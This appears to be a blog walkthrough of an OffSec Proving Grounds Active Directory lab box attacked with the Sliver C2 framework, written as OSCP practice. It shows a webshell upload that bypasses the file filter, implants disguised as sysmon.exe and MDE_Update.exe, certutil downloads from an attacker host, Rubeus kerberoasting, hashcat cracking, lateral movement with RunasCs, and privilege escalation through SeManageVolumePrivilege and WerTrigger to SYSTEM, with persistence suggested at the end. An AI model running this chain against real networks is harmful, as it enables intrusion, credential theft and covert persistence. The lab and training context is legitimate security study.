Hacking Active Directory with Sliver C2

11 min readJul 16, 2023

This box (Access) is well known (or atleast should be) in Offsec Proving grounds. I decided to revisit this active directory box as a refresher for the OSCP exam as it contains multiple lateral movement paths. What I am disclosing isn’t new. If you would like to see a full walkthrough on this box from Offensive Security, you can find it below:

To mix things up a little I will be hacking this box with Bishop Fox’s Sliver C2. Lately, I’ve been challenging myself to learn different C2 frameworks. I choose sliver because it has a extensive collection of tools in the armory and its a very well developed C2 for conducting red teaming operations.


First, running an Nmap scan reveals several ports that are open and we are able to determine that this is an active directory box with a domain called access.offsec.

Figure 1 — Nmap Scanning Reconnaissance

While its not normal for active directory to be running a web server on port 80 we can pretend we are penetrating a web server on port 80. From an internal or external perspective. It’s always possible that an external webserver could have access to an internal active directory network.

While enumerating the website, there is a buy tickets function to the far right on the web page.

Figure 2 — Website Enumeration

When we click on the buy now function there is an upload image function below the purchase button.

Figure 3 — Upload Image Functionality

Anytime I see an upload function its always good to test if you can manipulate it to where you can upload something such as a webshell to maintain some initial persistence into the environment. PHP functionality was also confirmed during enumeration with Nmap. To get start on testing if this site is vulnerable to file upload restriction bypasses the article below gives you an excellent introduction into changing content type headers in burpsuite.

The webshell that I will be utilizing can be found in the github repo:

With burpsuite launched, we can intercept the traffic when we attempt to upload the webshell. Pay attention the the initial content type. This is what we will be changing highlighted below.

Figure 4 — Initial Content Type Header

Lets flip the content header over to jpeg format:

Figure 5 — Content Type Header Switch

The extension does not appear to be allowed according to the response we are getting in Burpsuite repeater.

Figure 6 — Content Type Bypass Failure

Instead lets add two extra dots after webshell.php and send it back through.

Figure 7 — Added characters to php file
Figure 8 — Successful Bypass

Next if we look at the uploads directory you will see the webshell has been successfully implanted onto the server.

Figure 9 — Successful Webshell Implant

An Introduction to Sliver C2

Before we proceed futher with this box we will need to install Sliver C2. While its not necessary to hack this box with Sliver, it gives the perfect opportunity to conduct adversarial operations with a well know C2 framework.

To get started with the installation you can run this Linux one liner to install:

curl https://sliver.sh/install|sudo bash

Once the install is finished you can run the command sliver to get started.

(A word of caution running sliver in this walkthrough is not opsec safe. This is just an overview how to work with sliver in a CTF type of environment. The default ports are used and we are just connecting directly to the server over localhost on 31337)

Generating Listeners

Sliver supports http, https, dns, and mtls listeners. For this purpose of this box we will generate an http listener first. You can also uses the jobs function to list your current listeners and if there is any staging profile attached to it. To start an http listener on the default port you can simply run the command:

Figure 10 — Starting an HTTP Listener

Generating Implants

You can use the generate command to create your implants. You also have the option to create a beacon binary and generate stagers using metasploit. We will just be generating a regular implant. The reason why we are not creating a beacon binary is because we will need to have an interactive shell on the session. (Not normally recommended). Generating an implant can be done with the following command:

generate --http <ip> --save /home/kali/Downloads
Figure 11 — Generate an Implant

Back to our webshell we will first create a directory called c:\maint. Once you select the execute button it should create the directory. This is where we will be dropping some binaries to disk. Also, you will see throughout this walkthrough I am just renaming the sliver binaries generated to names such as sysmon.exe and MDE_Update.exe.

Figure 12 — Directory Creation

Next, we can execute a directory search to ensure the folder has been created successfully. Notice how the current working directory inside the webshell is set to c:\.

Figure 13 — Directory Creation Confirmation

Now we can upload our first sliver implant. The webshell I am working with has upload functionality so we don’t need to use certutil to do a file transfer. I’ve renamed the implant to sysmon.exe in this example so the file will look less suspicious. The file may take a few minutes to upload. You can absolutely use the certutil method to transfer files. The choice is entirely yours.

Figure 14 — Sliver Implant Upload

Once the file transfer is complete you should get a message the upload completed successfully.

Figure 14 — Implant Upload Completed

Next you can click the button to execute the sliver generated payload.

Figure 15 — Sliver Payload Execution

If all goes well you should have a working session talking back to your C2 server.

Figure 16 — Sliver C2 Session Confirmation

Now that we have an established session. Lets go ahead and start doing recon and lateral movement. To begin we start by using the session we have established by entering the following command:

use <session id>
Figure 17 — Switching to Active Session

The established C2 session is also kind of to remind us if we are an adult dropping into a shell (not standard or opsec safe) from here you can do more standard “OSCP style recon” if preferred.

Figure 18 — Establishing an interactive shell

Instead, lets take a step back and visit the Sliver armory that we have at our disposal.

If you type the command armory you will get back a list of command name packagers that you can use. It is a very extensive collection and worth your time in getting to know how they all work.

Figure 19 — Armory Packages

First we will install the c2tc-domaininfo package with the following command:

armory install c2tc-domaininfo

You will notice once that once the module is ran you will get back some very useful domain information, such as the name of the domain controller, internal ip address, password policies, etc. The module can be executed by simply typing:

Figure 20 — Active Directory Domain Info

Next we will install rubeus and kerberoast the network. This is extremely useful because we will be kerberoasting the network from memory versus dropping the actual binary on disk to run. Since we will be passing the command inline with the current process it is neccessary we add the /nowrap function so we can copy out any of the hashes retrieved form the terminal without any spaces. This is useful when we attempt to start cracking the hashes offline.

rubeus -i kerberoast /nowrap
Figure 21 — Kerberoasting with Sliver

Next, we can take this hash offline and crack it with hashcat with the following command:

hashcat -m 13100 -a 0 hash /usr/share/wordlists/rockyou.txt
Figure 22 — Cracking Kerberos Hashes

Lateral Movement

To perform lateral movement and log in with our newly discovered account we will need to background our session and create a new listener running on a different port. This will allow us to invoke a run as session under a different user and have it execute a different sliver implant as that user. I wanted to showcase different methods to use a listener. I could of just generated an http listener on a different port but where is the fun in that. Instead we will generate an mtls listener with the following command:

Figure 23 — Starting an Mtls Listener

Now we can generate an implant associated with the listener with the following command:

generate --mtls <ip> --save /home/kali/Downloads
Figure 24 — Mtls Implant

So now that we have an implant generated for our mtls listener we can drop back into a shell and use certutil to transfer our renamed file associated with the mtls listener over to the c:\maint folder.

certutil -urlcache -f -split http://<ip>:8080/MDE_Update.exe
Figure 25 — Implate Transfer with Certutil

Next, we will transfer a powershell module called RunasC.ps1. This powershell module is a C# alternative to the runas command. You can find the module here:

certutil -urlcache -f -split http://<ip>:8080/Invoke-RunasCs.ps1

At the end of this we should have the following files in the c:\maint directory.

Figure 26 — File in Directory

Now we can import and run the module as shown below. The command to run our implant as another user is as follows:

Invoke-RunasCs svc_mssql password 'c:\maint\MDE_Update.exe'
Figure 27 — Running Implant as Another User

If we spawn a second tab and log into sliver we will see that there is another session active as svc_mssql. This is a good line that are first lateral movement attempt was successful.

Figure 28 — Active Sliver Sessions

Using the session and dropping in the shell, we can confirm that we are running as access\svc_mssql

Figure 29 — Accessing Server as svc_mssql

Privilege Escalation

For privilege escalation you will need to abuse SeManageVolumePrivilege. This can easily be accomplished to provide us access and full control of the C:\Windows directory.

Figure 30 — MS SQL privileges

We can easily abuse this privilege with the following project.

Once the exploit is ran you will be able to see that users now retain full control of the c:\windows directory in the target environment.

Figure 31 — Full Control on C:\windows

Finally the last step in this exploitation is to harness a privileged file write bug with the windows problem reporting service to spawn a new interactive shell as system. This is a multi step process that will involve dropping a file in the c:\windows\system32 directory, generating a new listener, sliver implant, and triggering the exploit. So lets dive into the details on how to chain this attack.

First, were going to need to generate a new listener and implant with sliver and the following commands:

(This will generate a http listener that will listen on the non default port of 8081)

http -l 8081

Now we need to generate an implant to connect to specific listener port:

generate --http <ip>:8081 --save /home/kali/Downloads

Once I have both of these items ready to go I am just going to drop into a shell and transfer the new implant over into the c:\maint directory.

Figure 32 — Implant Transfer

WerTrigger Exploit

We are not finally ready to transfer some files into the c:\windows\system32 and c:\maint directories. The file phoneinfo.dll needs to be placed into the c:\windows\system32 directory. The files Report.wer and WerTrigger.exe need to be placed in the c:\maint directory.

Figure 33 — File Transfers

Once the files are placed we can perform the exploit by invoking WerTrigger.exe by using the following command:


Once you start the exploit process by initializing the WerTrigger executable you will need to type the path of the sliver implant we copied over that is runnin on port 8081. This can be done by simply typing:

Figure 34 — WerTrigger Exploit

If we look at our sliver sessions in another tab you should notice we have a new session as NT AUTHORITY\SYSTEM. From here the sky is the limit as you can create a backdoor account with Adminitrative access to the server or generate another implant to run as a scheduled task so you will have full persistence and call back into the environment should the target machine ever be rebooted.

Figure 35 — Full System Authority Access


I hope everyone enjoyed this brief walkthrough and introduction to adversarial operations with Sliver C2. If you want to setup your own vulnerable Active Directory environment and play with Sliver in your own isolated lab I highly suggest you check out the following on github for creating your own vulnerable active directory environment.